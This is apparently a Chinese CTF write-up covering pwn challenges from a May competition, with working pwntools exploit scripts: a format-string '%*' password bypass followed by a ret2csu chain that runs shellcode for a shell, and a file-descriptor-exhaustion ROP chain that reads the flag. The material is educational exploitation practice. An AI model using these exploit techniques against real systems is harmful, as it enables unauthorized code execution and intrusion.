最近看了一下上次安恆五月賽沒做出的幾道PWN題,感覺自己水平還是不夠,還要多學習
easybabystack(格式化字符串*, ret2csu)
這題有個棧溢出漏洞
但是必須輸入正確的密碼,否則就直接退出了
還有個格式化字符串漏洞
字符串長度爲12
由於密碼是/dev/urandom生成的,無法預測。
這裏需要利用格式化字符串漏洞的’*'號
%*num$d從棧中取變量作爲N
比如num$處的值是0x100,那麼這個格式化字符串就相當於%256d
而密碼位於18$
的位置,我們使用%*18$c
就可以打印出密碼那麼長的字符串,然後%5$n
寫到輸入的密碼處即可
不過這裏如果密碼太大可能會失敗,需要多試幾次,數字比較小的時候容易成功
完成後用ret2csu就能getshell
from pwn import *
#r = remote("183.129.189.60", 10001)
r = process("./easybabystack")
context(arch='amd64', os='linux', log_level='debug')
DEBUG = 1
if DEBUG:
gdb.attach(r,
'''
b *0x4014A5
b *0x401512
b *0x4016C7
b *0x401726
b *0x40171D
c
''')
r.recvuntil("username: ")
#name = '%p:%p:%p:%p\n'
#name = '%6$p\n'
name = '%*18$c%5$n\n'
r.send(name)
r.recvuntil("passwd: ")
r.sendline('123')
csu1 = 0x40172A
csu2 = 0x401710
mprotect_got = 0x404050
bss = 0x4040D0
read_got = 0x404038
r.recvuntil("message: ")
payload = p64(1)*35
payload += p64(csu1) + p64(0) + p64(1) + p64(0x404000) + p64(0x1000) + p64(7) + p64(mprotect_got) + p64(csu2)
payload += p64(csu1) + p64(0) + p64(1) + p64(0) + p64(bss) + p64(0x1000) + p64(read_got) + p64(csu2)
payload += p64(0)*7 + p64(bss)
r.sendline(payload)
sleep(1)
payload = asm(shellcraft.sh())
r.sendline(payload)
r.interactive()
secret2(文件描述符個數)
C語言中文件描述符只有1024個,爲0-1023,本題open之後並沒有close,在文件描述符耗盡之後讀入均爲’\x00’,最後還是利用ret2csu,但是隻能orw不能getshell
不能getshell的原因如下:
- 如果程序運行到最後執行system,此時文件描述符已經耗盡,而execve還是system好像會執行open,所以不能成功
- 運行到棧溢出的地方,此時關閉了stdin,估計是這裏的問題
from pwn import *
#r = remote("183.129.189.60", 10051)
r = process("./secret2")
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x401487
b *0x401601
c
''')
context.log_level = 'debug'
elf = ELF("./secret2")
r.recvuntil('name?')
pop_rdi = 0x40161b
pop_rsi_r15 = 0x401619
csu1 = 0x401612
csu2 = 0x4015F8
system = elf.plt['system']
system_got = elf.got['system']
open_plt = elf.plt['open']
read_got = elf.got['read']
write_got = elf.got['write']
bss = 0x4040B0
sh = 0x4021EA
flag = 0x4021DE
payload = 'a'*9
#payload += p64(pop_rdi) + p64(sh) + p64(system)
payload += p64(pop_rdi) + p64(flag) + p64(pop_rsi_r15) + p64(0)*2 + p64(open_plt)
payload += p64(csu1) + p64(0) + p64(1) + p64(read_got) + p64(0) + p64(bss) + p64(0x50) + p64(csu2)
payload += p64(csu1) + p64(0) + p64(1) + p64(write_got) + p64(1) + p64(bss) + p64(0x50) + p64(csu2)
r.sendline(payload)
for i in range(1024):
r.recvuntil("Secret:")
r.sendline('KMFL')
for i in range(234):
r.recvuntil("Secret:")
r.send(p64(0))
r.interactive()
happyending(libc2.29 off-by-null)
這題暫時還沒有看,主要是調試libc2.29太麻煩,先貼一個看雪上面的解析,之後填坑
glibc2.29下的off-by-null